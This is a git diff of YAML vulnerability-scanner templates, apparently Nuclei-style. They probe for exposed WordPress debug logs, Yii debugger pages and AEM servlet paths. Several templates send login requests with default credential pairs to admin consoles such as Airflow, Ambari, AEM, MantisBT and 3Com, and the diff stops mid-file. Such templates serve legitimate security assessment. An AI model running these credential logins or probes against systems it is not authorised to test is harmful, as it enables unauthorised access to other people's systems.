" part: body + +# digest: 4a0a00473045022013ddd4960a4aea793abed2a46e4120c2dd2122fd149ec908a73cee9671ad065c022100cf561fa7d30e0f52d52a4b79c30869367c884abf9b90d158eaece619373644f4:922c64590222798bb761d5b6d8e72950 diff --git a/poc/debug/wordpress-debug-log-11256.yaml b/poc/debug/wordpress-debug-log-11256.yaml new file mode 100644 index 0000000000..637d2fd6b0 --- /dev/null +++ b/poc/debug/wordpress-debug-log-11256.yaml @@ -0,0 +1,25 @@ +id: wp-debug-log +info: + name: WordPress debug log + author: geraldino2 & @dwisiswant0 + severity: low + tags: wordpress,logs +requests: + - method: GET + path: + - "{{BaseURL}}/wp-content/debug.log" + matchers-condition: and + matchers: + - type: word + words: + - octet-stream + - text/plain + part: header + condition: or + - type: regex + regex: + - "[[0-9]{2}-[a-zA-Z]{3}-[0-9]{4} [0-9]{2}:[0-9]{2}:[0-9]{2} [A-Z]{3}] PHP" + part: body + - type: status + status: + - 200 diff --git a/poc/debug/wordpress-debug-log-11259.yaml b/poc/debug/wordpress-debug-log-11259.yaml deleted file mode 100644 index dee5e0d057..0000000000 --- a/poc/debug/wordpress-debug-log-11259.yaml +++ /dev/null @@ -1,25 +0,0 @@ -id: wp-debug-log -info: - name: WordPress debug log - author: geraldino2 & @dwisiswant0 - severity: low - tags: wordpress,log -requests: - - method: GET - path: - - "{{BaseURL}}/wp-content/debug.log" - matchers-condition: and - matchers: - - type: word - words: - - octet-stream - - text/plain - part: header - condition: or - - type: regex - regex: - - "[[0-9]{2}-[a-zA-Z]{3}-[0-9]{4} [0-9]{2}:[0-9]{2}:[0-9]{2} [A-Z]{3}] PHP" - part: body - - type: status - status: - - 200 diff --git a/poc/debug/wp-debug-log.yaml b/poc/debug/wp-debug-log.yaml old mode 100755 new mode 100644 index 2658a93803..dee5e0d057 --- a/poc/debug/wp-debug-log.yaml +++ b/poc/debug/wp-debug-log.yaml @@ -1,43 +1,25 @@ id: wp-debug-log info: name: WordPress debug log - author: - - l0ne1y - description: |- - WordPress debug log 调试信息泄漏漏洞 - WordPress是Wordpress基金会的一套使用PHP语言开发的博客平台。该平台支持在PHP和MySQL的服务器上架设个人博客网站。 - WordPress debug log存储了wordpress运行中的调试信息,泄漏后容易被攻击者发现服务器相关信息。 + author: geraldino2 & @dwisiswant0 severity: low - remediation: |- - 官方修复方案: - 1、建议用户到官方获取最新补丁或者最新版本程序:https://wordpress.com - - 临时修复方案: - 1、去除页面、cookie或缓存中涉及的敏感信息或删除泄露信息页面 - 2、将敏感信息进行加密存储,非必要不可发送前端 - 3、发送敏感信息时需加密传输,如有必要需脱敏处理 - 4、禁止用自己开发的加密算法,必须使用公开、安全的标准加密算法。 - 5、禁止在日志中记录明文的敏感数据:禁止在日志中记录明文的敏感数据(如口 - 令、会话标识jsessionid等), 防止敏感信息泄漏。 - 6、禁止带有敏感数据的Web页面缓存:带有敏感数据的Web页面都应该禁止缓 - 存,以防止敏感信息泄漏或通过代理服务器上网的用户数据互窜问题。 - 7、对必须发送的敏感数据或页面请求接口做好严格的权限认证 + tags: wordpress,log requests: -- matchers: - - type: word - condition: or - part: header - words: - - octet-stream - - text/plain - - type: regex - part: body - regex: - - '[[0-9]{2}-[a-zA-Z]{3}-[0-9]{4} [0-9]{2}:[0-9]{2}:[0-9]{2} [A-Z]{3}] PHP' - - type: status - status: - - 200 - matchers-condition: and - path: - - '{{BaseURL}}/wp-content/debug.log' - method: GET + - method: GET + path: + - "{{BaseURL}}/wp-content/debug.log" + matchers-condition: and + matchers: + - type: word + words: + - octet-stream + - text/plain + part: header + condition: or + - type: regex + regex: + - "[[0-9]{2}-[a-zA-Z]{3}-[0-9]{4} [0-9]{2}:[0-9]{2}:[0-9]{2} [A-Z]{3}] PHP" + part: body + - type: status + status: + - 200 diff --git a/poc/debug/yii-debugger-11739.yaml b/poc/debug/yii-debugger-11739.yaml index 091dd84ee0..7af4907268 100644 --- a/poc/debug/yii-debugger-11739.yaml +++ b/poc/debug/yii-debugger-11739.yaml @@ -1,10 +1,18 @@ id: yii-debugger + info: name: View Yii Debugger Information - author: geeknik - reference: https://yii2-framework.readthedocs.io/en/stable/guide/tool-debugger/ - severity: info -requests: + author: geeknik,rumble773 + severity: low + reference: + - https://yii2-framework.readthedocs.io/en/stable/guide/tool-debugger/ + metadata: + verified: true + max-request: 6 + shodan-query: title:"Yii Debugger" + tags: yii,debug,exposure + +http: - method: GET path: - "{{BaseURL}}/debug/default/view.html" @@ -12,12 +20,14 @@ requests: - "{{BaseURL}}/frontend/web/debug/default/view" - "{{BaseURL}}/web/debug/default/view" - "{{BaseURL}}/sapi/debug/default/view" - redirects: true + - "{{BaseURL}}/debug/default" + + host-redirects: true + max-redirects: 2 + stop-at-first-match: true + matchers-condition: and matchers: - - type: status - status: - - 200 - type: word words: - "Yii Debugger" @@ -28,3 +38,9 @@ requests: - "Memory" - "DB" condition: and + + - type: status + status: + - 200 + +# digest: 4b0a00483046022100e1682d7422ec720680e27e58b7358e785a7791f3e898e7c8f5eaa93d6369b8a2022100f2d05e060804cad0820bbe1b62b2a181c8940165beb42503a9d085a0bfc1d6bc:922c64590222798bb761d5b6d8e72950 diff --git a/poc/debug/yii-debugger-11741.yaml b/poc/debug/yii-debugger-11741.yaml new file mode 100644 index 0000000000..e93bfbf58e --- /dev/null +++ b/poc/debug/yii-debugger-11741.yaml @@ -0,0 +1,37 @@ +id: yii-debugger + +info: + name: View Yii Debugger Information + author: geeknik + reference: https://yii2-framework.readthedocs.io/en/stable/guide/tool-debugger/ + severity: low + tags: yii,debug,exposure + +requests: + - method: GET + path: + - "{{BaseURL}}/debug/default/view.html" + - "{{BaseURL}}/debug/default/view" + - "{{BaseURL}}/frontend/web/debug/default/view" + - "{{BaseURL}}/web/debug/default/view" + - "{{BaseURL}}/sapi/debug/default/view" + + redirects: true + max-redirects: 2 + stop-at-first-match: true + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "Yii Debugger" + - "Status" + - "Route" + - "Log" + - "Time" + - "Memory" + - "DB" + condition: and diff --git a/poc/default/3Com-wireless-default-login.yaml b/poc/default/3Com-wireless-default-login.yaml new file mode 100644 index 0000000000..321a07e084 --- /dev/null +++ b/poc/default/3Com-wireless-default-login.yaml @@ -0,0 +1,52 @@ +id: 3Com-wireless-default-login + +info: + name: 3Com Wireless 8760 Dual Radio - Default Login + author: ritikchaddha + severity: high + description: | + 3COM Wireless 8760 Dual Radio contains a default login vulnerability. Default admin login password 'password' was found. + reference: + - https://www.speedguide.net/routers/3com-wl-546-3com-wireless-8760-dual-radio-11abg-1256 + metadata: + max-request: 1 + fofa-query: title="3COM" + tags: default-login,3com + +http: + - raw: + - | + POST /index.htm HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + userid={{username}}&passwd={{password}}&Submit=LOGIN + + - | + POST /login.html HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + username={{username}}&password={{password}} + + stop-at-first-match: true + attack: pitchfork + payloads: + username: + - admin + password: + - password + + matchers-condition: and + matchers: + - type: word + part: body + words: + - 'alt="Advanced Configuration"' + - 'image/setup_wizard' + condition: and + + - type: status + status: + - 200 +# digest: 4b0a00483046022100a7a5661481f35e84ca927a1574e6a7b1b27ccb361354be2361a526339dec9a5502210098c54dbb1de14bbe6bc295ca69566df20d65ab0b3bb0f9ffcdf3f8815c7684cc:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/default/JeeSite-default-login.yaml b/poc/default/JeeSite-default-login.yaml index 43ad9321e7..f737242f41 100644 --- a/poc/default/JeeSite-default-login.yaml +++ b/poc/default/JeeSite-default-login.yaml @@ -1,9 +1,11 @@ id: JeeSite-default-login + info: name: JeeSite默认密码 author: Str1am severity: high tags: JeeSite,login + requests: - raw: - | @@ -13,6 +15,7 @@ requests: Content-Type: application/x-www-form-urlencoded; charset=UTF-8 username=F3EDC7D2C193E0B8DCF554C726719ED2&password=235880C505ACCDA5C581A4F4CDB81DA0&validCode= + matchers-condition: and matchers: - type: status @@ -22,4 +25,4 @@ requests: words: - "登录成功" part: body - condition: and + condition: and \ No newline at end of file diff --git a/poc/default/Mantis-Default_login.yaml b/poc/default/Mantis-Default_login.yaml deleted file mode 100644 index 079862ba31..0000000000 --- a/poc/default/Mantis-Default_login.yaml +++ /dev/null @@ -1,47 +0,0 @@ -id: mantisbt-default-credential - -info: - name: MantisBT Default Admin Login - author: For3stCo1d - severity: high - description: A MantisBT default admin login was discovered. - reference: - - https://mantisbt.org/ - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L - cvss-score: 8.3 - cwe-id: CWE-522 - metadata: - max-request: 1 - shodan-query: title:"MantisBT" - tags: mantisbt,default-login - -http: - - raw: - - | - POST /login.php HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded - - return=index.php&username={{user}}&password={{pass}} - - attack: pitchfork - payloads: - user: - - administrator - pass: - - root - - matchers-condition: and - matchers: - - type: dsl - dsl: - - contains(tolower(header), 'mantis_secure_session') - - contains(tolower(header), 'mantis_string_cookie') - condition: and - - - type: status - status: - - 302 - -# digest: 490a0046304402205e3ba9080530721f7904ce8e6d98318f860b18d800d06370ccfd841b5de6ee8402201f73aac2837cd43bb2116deeddecd4ec504277ed0698a77d7c40c2a67bcf78b7:922c64590222798bb761d5b6d8e72950 diff --git a/poc/default/activemq-default-login-47.yaml b/poc/default/activemq-default-login-44.yaml similarity index 100% rename from poc/default/activemq-default-login-47.yaml rename to poc/default/activemq-default-login-44.yaml diff --git a/poc/default/aem-default-get-servlet-136.yaml b/poc/default/aem-default-get-servlet-136.yaml deleted file mode 100644 index 274b345439..0000000000 --- a/poc/default/aem-default-get-servlet-136.yaml +++ /dev/null @@ -1,91 +0,0 @@ -id: aem-default-get-servlet - -info: - name: AEM DefaultGetServlet - author: DhiyaneshDk - severity: low - description: Sensitive information might be exposed via AEM DefaultGetServlet. - reference: - - https://speakerdeck.com/0ang3el/hunting-for-security-bugs-in-aem-webapps?slide=43 - - https://github.com/thomashartm/burp-aem-scanner/blob/master/src/main/java/burp/actions/dispatcher/GetServletExposed.java - tags: aem,adobe - -requests: - - method: GET - path: - - '{{BaseURL}}/etc' - - '{{BaseURL}}/var' - - '{{BaseURL}}/apps' - - '{{BaseURL}}/home' - - '{{BaseURL}}///etc' - - '{{BaseURL}}///var' - - '{{BaseURL}}///apps' - - '{{BaseURL}}///home' - - '{{BaseURL}}/.json' - - '{{BaseURL}}/.1.json' - - '{{BaseURL}}/....4.2.1....json' - - '{{BaseURL}}/.json?FNZ.css' - - '{{BaseURL}}/.json?FNZ.ico' - - '{{BaseURL}}/.json?FNZ.html' - - '{{BaseURL}}/.json/FNZ.css' - - '{{BaseURL}}/.json/FNZ.html' - - '{{BaseURL}}/.json/FNZ.png' - - '{{BaseURL}}/.json/FNZ.ico' - - '{{BaseURL}}/.children.1.json' - - '{{BaseURL}}/.children....4.2.1....json' - - '{{BaseURL}}/.children.json?FNZ.css' - - '{{BaseURL}}/.children.json?FNZ.ico' - - '{{BaseURL}}/.children.json?FNZ.html' - - '{{BaseURL}}/.children.json/FNZ.css' - - '{{BaseURL}}/.children.json/FNZ.html' - - '{{BaseURL}}/.children.json/FNZ.png' - - '{{BaseURL}}/.children.json/FNZ.ico' - - '{{BaseURL}}/etc.json' - - '{{BaseURL}}/etc.1.json' - - '{{BaseURL}}/etc....4.2.1....json' - - '{{BaseURL}}/etc.json?FNZ.css' - - '{{BaseURL}}/etc.json?FNZ.ico' - - '{{BaseURL}}/etc.json?FNZ.html' - - '{{BaseURL}}/etc.json/FNZ.css' - - '{{BaseURL}}/etc.json/FNZ.html' - - '{{BaseURL}}/etc.json/FNZ.ico' - - '{{BaseURL}}/etc.children.json' - - '{{BaseURL}}/etc.children.1.json' - - '{{BaseURL}}/etc.children....4.2.1....json' - - '{{BaseURL}}/etc.children.json?FNZ.css' - - '{{BaseURL}}/etc.children.json?FNZ.ico' - - '{{BaseURL}}/etc.children.json?FNZ.html' - - '{{BaseURL}}/etc.children.json/FNZ.css' - - '{{BaseURL}}/etc.children.json/FNZ.html' - - '{{BaseURL}}/etc.children.json/FNZ.png' - - '{{BaseURL}}/etc.children.json/FNZ.ico' - - '{{BaseURL}}///etc.json' - - '{{BaseURL}}///etc.1.json' - - '{{BaseURL}}///etc....4.2.1....json' - - '{{BaseURL}}///etc.json?FNZ.css' - - '{{BaseURL}}///etc.json?FNZ.ico' - - '{{BaseURL}}///etc.json/FNZ.html' - - '{{BaseURL}}///etc.json/FNZ.png' - - '{{BaseURL}}///etc.json/FNZ.ico' - - '{{BaseURL}}///etc.children.json' - - '{{BaseURL}}///etc.children.1.json' - - '{{BaseURL}}///etc.children....4.2.1....json' - - '{{BaseURL}}///etc.children.json?FNZ.css' - - '{{BaseURL}}///etc.children.json?FNZ.ico' - - '{{BaseURL}}///etc.children.json?FNZ.html' - - '{{BaseURL}}///etc.children.json/FNZ.css' - - '{{BaseURL}}///etc.children.json/FNZ.html' - - '{{BaseURL}}///etc.children.json/FNZ.png' - - '{{BaseURL}}///etc.children.json/FNZ.ico' - - stop-at-first-match: true - matchers-condition: and - matchers: - - type: status - status: - - 200 - - - type: word - words: - - 'jcr:createdBy' - condition: and diff --git a/poc/default/aem-default-get-servlet-137.yaml b/poc/default/aem-default-get-servlet-137.yaml new file mode 100644 index 0000000000..d3546ab204 --- /dev/null +++ b/poc/default/aem-default-get-servlet-137.yaml @@ -0,0 +1,78 @@ +id: aem-default-get-servlet +info: + author: DhiyaneshDk + name: AEM DefaultGetServlet + severity: low + reference: https://speakerdeck.com/0ang3el/hunting-for-security-bugs-in-aem-webapps?slide=43 + tags: aem + + +requests: + - method: GET + path: + - '{{BaseURL}}/.json' + - '{{BaseURL}}/.1.json' + - '{{BaseURL}}/....4.2.1....json' + - '{{BaseURL}}/.json?FNZ.css' + - '{{BaseURL}}/.json?FNZ.ico' + - '{{BaseURL}}/.json?FNZ.html' + - '{{BaseURL}}/.json/FNZ.css' + - '{{BaseURL}}/.json/FNZ.html' + - '{{BaseURL}}/.json/FNZ.png' + - '{{BaseURL}}/.json/FNZ.ico' + - '{{BaseURL}}/.children.1.json' + - '{{BaseURL}}/.children....4.2.1....json' + - '{{BaseURL}}/.children.json?FNZ.css' + - '{{BaseURL}}/.children.json?FNZ.ico' + - '{{BaseURL}}/.children.json?FNZ.html' + - '{{BaseURL}}/.children.json/FNZ.css' + - '{{BaseURL}}/.children.json/FNZ.html' + - '{{BaseURL}}/.children.json/FNZ.png' + - '{{BaseURL}}/.children.json/FNZ.ico' + - '{{BaseURL}}/etc.json' + - '{{BaseURL}}/etc.1.json' + - '{{BaseURL}}/etc....4.2.1....json' + - '{{BaseURL}}/etc.json?FNZ.css' + - '{{BaseURL}}/etc.json?FNZ.ico' + - '{{BaseURL}}/etc.json?FNZ.html' + - '{{BaseURL}}/etc.json/FNZ.css' + - '{{BaseURL}}/etc.json/FNZ.html' + - '{{BaseURL}}/etc.json/FNZ.ico' + - '{{BaseURL}}/etc.children.json' + - '{{BaseURL}}/etc.children.1.json' + - '{{BaseURL}}/etc.children....4.2.1....json' + - '{{BaseURL}}/etc.children.json?FNZ.css' + - '{{BaseURL}}/etc.children.json?FNZ.ico' + - '{{BaseURL}}/etc.children.json?FNZ.html' + - '{{BaseURL}}/etc.children.json/FNZ.css' + - '{{BaseURL}}/etc.children.json/FNZ.html' + - '{{BaseURL}}/etc.children.json/FNZ.png' + - '{{BaseURL}}/etc.children.json/FNZ.ico' + - '{{BaseURL}}///etc.json' + - '{{BaseURL}}///etc.1.json' + - '{{BaseURL}}///etc....4.2.1....json' + - '{{BaseURL}}///etc.json?FNZ.css' + - '{{BaseURL}}///etc.json?FNZ.ico' + - '{{BaseURL}}///etc.json/FNZ.html' + - '{{BaseURL}}///etc.json/FNZ.png' + - '{{BaseURL}}///etc.json/FNZ.ico' + - '{{BaseURL}}///etc.children.json' + - '{{BaseURL}}///etc.children.1.json' + - '{{BaseURL}}///etc.children....4.2.1....json' + - '{{BaseURL}}///etc.children.json?FNZ.css' + - '{{BaseURL}}///etc.children.json?FNZ.ico' + - '{{BaseURL}}///etc.children.json?FNZ.html' + - '{{BaseURL}}///etc.children.json/FNZ.css' + - '{{BaseURL}}///etc.children.json/FNZ.html' + - '{{BaseURL}}///etc.children.json/FNZ.png' + - '{{BaseURL}}///etc.children.json/FNZ.ico' + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - 'jcr:createdBy' + condition: and diff --git a/poc/default/aem-default-get-servlet-138.yaml b/poc/default/aem-default-get-servlet-138.yaml new file mode 100644 index 0000000000..7186c2256f --- /dev/null +++ b/poc/default/aem-default-get-servlet-138.yaml @@ -0,0 +1,80 @@ +id: aem-default-get-servlet +info: + author: DhiyaneshDk + name: AEM DefaultGetServlet + severity: low + reference: https://speakerdeck.com/0ang3el/hunting-for-security-bugs-in-aem-webapps?slide=43 + tags: aem + + +requests: + - method: GET + path: + - '{{BaseURL}}/.json' + - '{{BaseURL}}/.1.json' + - '{{BaseURL}}/....4.2.1....json' + - '{{BaseURL}}/.json?FNZ.css' + - '{{BaseURL}}/.json?FNZ.ico' + - '{{BaseURL}}/.json?FNZ.html' + - '{{BaseURL}}/.json/FNZ.css' + - '{{BaseURL}}/.json/FNZ.html' + - '{{BaseURL}}/.json/FNZ.png' + - '{{BaseURL}}/.json/FNZ.ico' + - '{{BaseURL}}/.children.1.json' + - '{{BaseURL}}/.children....4.2.1....json' + - '{{BaseURL}}/.children.json?FNZ.css' + - '{{BaseURL}}/.children.json?FNZ.ico' + - '{{BaseURL}}/.children.json?FNZ.html' + - '{{BaseURL}}/.children.json/FNZ.css' + - '{{BaseURL}}/.children.json/FNZ.html' + - '{{BaseURL}}/.children.json/FNZ.png' + - '{{BaseURL}}/.children.json/FNZ.ico' + - '{{BaseURL}}/etc.json' + - '{{BaseURL}}/etc.1.json' + - '{{BaseURL}}/etc....4.2.1....json' + - '{{BaseURL}}/etc.json?FNZ.css' + - '{{BaseURL}}/etc.json?FNZ.ico' + - '{{BaseURL}}/etc.json?FNZ.html' + - '{{BaseURL}}/etc.json/FNZ.css' + - '{{BaseURL}}/etc.json/FNZ.html' + - '{{BaseURL}}/etc.json/FNZ.ico' + - '{{BaseURL}}/etc.children.json' + - '{{BaseURL}}/etc.children.1.json' + - '{{BaseURL}}/etc.children....4.2.1....json' + - '{{BaseURL}}/etc.children.json?FNZ.css' + - '{{BaseURL}}/etc.children.json?FNZ.ico' + - '{{BaseURL}}/etc.children.json?FNZ.html' + - '{{BaseURL}}/etc.children.json/FNZ.css' + - '{{BaseURL}}/etc.children.json/FNZ.html' + - '{{BaseURL}}/etc.children.json/FNZ.png' + - '{{BaseURL}}/etc.children.json/FNZ.ico' + - '{{BaseURL}}///etc.json' + - '{{BaseURL}}///etc.1.json' + - '{{BaseURL}}///etc....4.2.1....json' + - '{{BaseURL}}///etc.json?FNZ.css' + - '{{BaseURL}}///etc.json?FNZ.ico' + - '{{BaseURL}}///etc.json/FNZ.html' + - '{{BaseURL}}///etc.json/FNZ.png' + - '{{BaseURL}}///etc.json/FNZ.ico' + - '{{BaseURL}}///etc.children.json' + - '{{BaseURL}}///etc.children.1.json' + - '{{BaseURL}}///etc.children....4.2.1....json' + - '{{BaseURL}}///etc.children.json?FNZ.css' + - '{{BaseURL}}///etc.children.json?FNZ.ico' + - '{{BaseURL}}///etc.children.json?FNZ.html' + - '{{BaseURL}}///etc.children.json/FNZ.css' + - '{{BaseURL}}///etc.children.json/FNZ.html' + - '{{BaseURL}}///etc.children.json/FNZ.png' + - '{{BaseURL}}///etc.children.json/FNZ.ico' + + stop-at-first-match: true + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - 'jcr:createdBy' + condition: and diff --git a/poc/default/aem-default-get-servlet-139.yaml b/poc/default/aem-default-get-servlet-139.yaml index 7186c2256f..274b345439 100644 --- a/poc/default/aem-default-get-servlet-139.yaml +++ b/poc/default/aem-default-get-servlet-139.yaml @@ -1,15 +1,26 @@ id: aem-default-get-servlet + info: - author: DhiyaneshDk name: AEM DefaultGetServlet + author: DhiyaneshDk severity: low - reference: https://speakerdeck.com/0ang3el/hunting-for-security-bugs-in-aem-webapps?slide=43 - tags: aem - + description: Sensitive information might be exposed via AEM DefaultGetServlet. + reference: + - https://speakerdeck.com/0ang3el/hunting-for-security-bugs-in-aem-webapps?slide=43 + - https://github.com/thomashartm/burp-aem-scanner/blob/master/src/main/java/burp/actions/dispatcher/GetServletExposed.java + tags: aem,adobe requests: - method: GET path: + - '{{BaseURL}}/etc' + - '{{BaseURL}}/var' + - '{{BaseURL}}/apps' + - '{{BaseURL}}/home' + - '{{BaseURL}}///etc' + - '{{BaseURL}}///var' + - '{{BaseURL}}///apps' + - '{{BaseURL}}///home' - '{{BaseURL}}/.json' - '{{BaseURL}}/.1.json' - '{{BaseURL}}/....4.2.1....json' diff --git a/poc/default/aem-default-login-141.yaml b/poc/default/aem-default-login-140.yaml similarity index 100% rename from poc/default/aem-default-login-141.yaml rename to poc/default/aem-default-login-140.yaml diff --git a/poc/default/aem-default-login.yaml b/poc/default/aem-default-login.yaml deleted file mode 100644 index 8072025a73..0000000000 --- a/poc/default/aem-default-login.yaml +++ /dev/null @@ -1,56 +0,0 @@ -id: aem-default-login - -info: - name: Adobe AEM Default Login - author: random-robbie - severity: high - description: Adobe AEM default login credentials were discovered. - reference: - - https://experienceleague.adobe.com/docs/experience-manager-64/administering/security/security-checklist.html?lang=en - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L - cvss-score: 8.3 - cwe-id: CWE-522 - tags: aem,default-login,adobe - - -requests: - - raw: - - | - POST /libs/granite/core/content/login.html/j_security_check HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded; charset=UTF-8 - Origin: {{BaseURL}} - Referer: {{BaseURL}}/libs/granite/core/content/login.html - - _charset_=utf-8&j_username={{aem_user}}&j_password={{aem_pass}}&j_validate=true - - attack: pitchfork - payloads: - aem_user: - - admin - - grios - - replication-receiver - - vgnadmin - - aem_pass: - - admin - - password - - replication-receiver - - vgnadmin - - stop-at-first-match: true - matchers-condition: and - matchers: - - type: status - status: - - 200 - - - type: word - part: header - condition: and - words: - - login-token - - crx.default - -# Enhanced by mp on 2022/03/23 diff --git a/poc/default/airflow-default-login.yaml b/poc/default/airflow-default-login-234.yaml similarity index 100% rename from poc/default/airflow-default-login.yaml rename to poc/default/airflow-default-login-234.yaml diff --git a/poc/default/airflow-default-login-235.yaml b/poc/default/airflow-default-login-235.yaml deleted file mode 100644 index 772e1ffd78..0000000000 --- a/poc/default/airflow-default-login-235.yaml +++ /dev/null @@ -1,64 +0,0 @@ -id: airflow-default-login - -info: - name: Apache Airflow Default Login - author: pdteam - severity: high - description: An Apache Airflow default login was discovered. - reference: - - https://airflow.apache.org/docs/apache-airflow/stable/start/docker.html - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L - cvss-score: 8.3 - cwe-id: CWE-522 - metadata: - shodan-query: title:"Sign In - Airflow" - tags: airflow,default-login,apache - -requests: - - raw: - - | - GET /login/ HTTP/1.1 - Host: {{Hostname}} - Origin: {{BaseURL}} - - - | - POST /login/ HTTP/1.1 - Host: {{Hostname}} - Origin: {{BaseURL}} - Content-Type: application/x-www-form-urlencoded - Referer: {{BaseURL}}/admin/airflow/login - - username={{username}}&password={{password}}&_csrf_token={{csrf_token}} - - attack: pitchfork - payloads: - username: - - airflow - password: - - airflow - - cookie-reuse: true - extractors: - - type: regex - name: csrf_token - group: 1 - internal: true - regex: - - 'type="hidden" value="(.*?)">' - - req-condition: true - matchers-condition: and - matchers: - - type: dsl - dsl: - - 'contains(body_1, "Sign In - Airflow")' - - 'contains(all_headers_2, "session=.")' - - 'status_code_2 == 302' - condition: and - - - type: word - words: - - 'You should be redirected automatically to target URL: ' - -# Enhanced by mp on 2022/03/22 diff --git a/poc/default/airflow-default-login-236.yaml b/poc/default/airflow-default-login-236.yaml index cef2568e5d..772e1ffd78 100644 --- a/poc/default/airflow-default-login-236.yaml +++ b/poc/default/airflow-default-login-236.yaml @@ -1,18 +1,27 @@ id: airflow-default-login + info: name: Apache Airflow Default Login author: pdteam - severity: critical - tags: airflow,default-login,apache - reference: https://airflow.apache.org/docs/apache-airflow/stable/start/docker.html + severity: high + description: An Apache Airflow default login was discovered. + reference: + - https://airflow.apache.org/docs/apache-airflow/stable/start/docker.html + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L + cvss-score: 8.3 + cwe-id: CWE-522 metadata: shodan-query: title:"Sign In - Airflow" + tags: airflow,default-login,apache + requests: - raw: - | GET /login/ HTTP/1.1 Host: {{Hostname}} Origin: {{BaseURL}} + - | POST /login/ HTTP/1.1 Host: {{Hostname}} @@ -21,12 +30,14 @@ requests: Referer: {{BaseURL}}/admin/airflow/login username={{username}}&password={{password}}&_csrf_token={{csrf_token}} + attack: pitchfork payloads: username: - airflow password: - airflow + cookie-reuse: true extractors: - type: regex @@ -35,6 +46,7 @@ requests: internal: true regex: - 'type="hidden" value="(.*?)">' + req-condition: true matchers-condition: and matchers: @@ -44,6 +56,9 @@ requests: - 'contains(all_headers_2, "session=.")' - 'status_code_2 == 302' condition: and + - type: word words: - 'You should be redirected automatically to target URL: ' + +# Enhanced by mp on 2022/03/22 diff --git a/poc/default/ambari-default-credentials.yaml b/poc/default/ambari-default-credentials.yaml index cd31405298..60933a6e9f 100644 --- a/poc/default/ambari-default-credentials.yaml +++ b/poc/default/ambari-default-credentials.yaml @@ -1,11 +1,9 @@ id: ambari-default-credentials - info: name: Apache Ambari Default Credentials author: pdteam severity: medium tags: ambari,default-login - requests: - method: GET path: @@ -17,4 +15,4 @@ requests: words: - '"Users" : {' - 'AMBARI.' - condition: and \ No newline at end of file + condition: and diff --git a/poc/default/ambari-default-login-287.yaml b/poc/default/ambari-default-login-287.yaml new file mode 100644 index 0000000000..7d9efa4734 --- /dev/null +++ b/poc/default/ambari-default-login-287.yaml @@ -0,0 +1,35 @@ +id: ambari-default-login + +info: + name: Apache Ambari Default Login + author: pdteam + description: An Apache Ambari default admin login was discovered. + severity: high + reference: + - https://ambari.apache.org/1.2.0/installing-hadoop-using-ambari/content/ambari-chap3-1.html + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L + cvss-score: 8.3 + cwe-id: CWE-522 + tags: ambari,default-login,apache + +requests: + - raw: + - | + GET /api/v1/users/admin?fields=*,privileges/PrivilegeInfo/cluster_name,privileges/PrivilegeInfo/permission_name HTTP/1.1 + Host: {{Hostname}} + Authorization: Basic {{base64(username + ':' + password)}} + payloads: + username: + - admin + password: + - admin + attack: pitchfork + matchers: + - type: word + words: + - '"Users" : {' + - 'AMBARI.' + condition: and + +# Enhanced by mp on 2022/03/22 diff --git a/poc/default/ambari-default-login-290.yaml b/poc/default/ambari-default-login-290.yaml index 7d9efa4734..fb1f8c826a 100644 --- a/poc/default/ambari-default-login-290.yaml +++ b/poc/default/ambari-default-login-290.yaml @@ -3,22 +3,25 @@ id: ambari-default-login info: name: Apache Ambari Default Login author: pdteam - description: An Apache Ambari default admin login was discovered. severity: high + description: An Apache Ambari default admin login was discovered. reference: - https://ambari.apache.org/1.2.0/installing-hadoop-using-ambari/content/ambari-chap3-1.html classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L cvss-score: 8.3 cwe-id: CWE-522 + metadata: + max-request: 1 tags: ambari,default-login,apache -requests: +http: - raw: - | GET /api/v1/users/admin?fields=*,privileges/PrivilegeInfo/cluster_name,privileges/PrivilegeInfo/permission_name HTTP/1.1 Host: {{Hostname}} Authorization: Basic {{base64(username + ':' + password)}} + payloads: username: - admin @@ -32,4 +35,4 @@ requests: - 'AMBARI.' condition: and -# Enhanced by mp on 2022/03/22 +# digest: 4b0a00483046022100e8ce7a0930ecfa4469f6955f0ac7532e7c5916c23f65b8e2362b2ffa026dd214022100e0e265ba7f30ed085fb6966bb1aff6bd07b3e8265c3d3f645a56510f797e731e:922c64590222798bb761d5b6d8e72950 diff --git a/poc/default/apisix-default-login-490.yaml b/poc/default/apisix-default-login-490.yaml index cb4e83e6df..d89104b847 100644 --- a/poc/default/apisix-default-login-490.yaml +++ b/poc/default/apisix-default-login-490.yaml @@ -5,16 +5,16 @@ info: author: pdteam severity: high description: An Apache Apisix default admin login was discovered. - metadata: - shodan-query: title:"Apache APISIX Dashboard" - fofa-query: title="Apache APISIX Dashboard" - product: https://apisix.apache.org reference: - https://apisix.apache.org/ classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L cvss-score: 8.3 cwe-id: CWE-522 + metadata: + shodan-query: title:"Apache APISIX Dashboard" + fofa-query: title="Apache APISIX Dashboard" + product: https://apisix.apache.org tags: apisix,apache,default-login requests: diff --git a/poc/default/apisix-default-login-492.yaml b/poc/default/apisix-default-login-492.yaml index d89104b847..c16b0c60b1 100644 --- a/poc/default/apisix-default-login-492.yaml +++ b/poc/default/apisix-default-login-492.yaml @@ -1,22 +1,13 @@ id: apisix-default-login - info: - name: Apache Apisix Default Admin Login + name: Apache Apisix Default Login author: pdteam - severity: high - description: An Apache Apisix default admin login was discovered. - reference: - - https://apisix.apache.org/ - classification: - cvss-metrics: 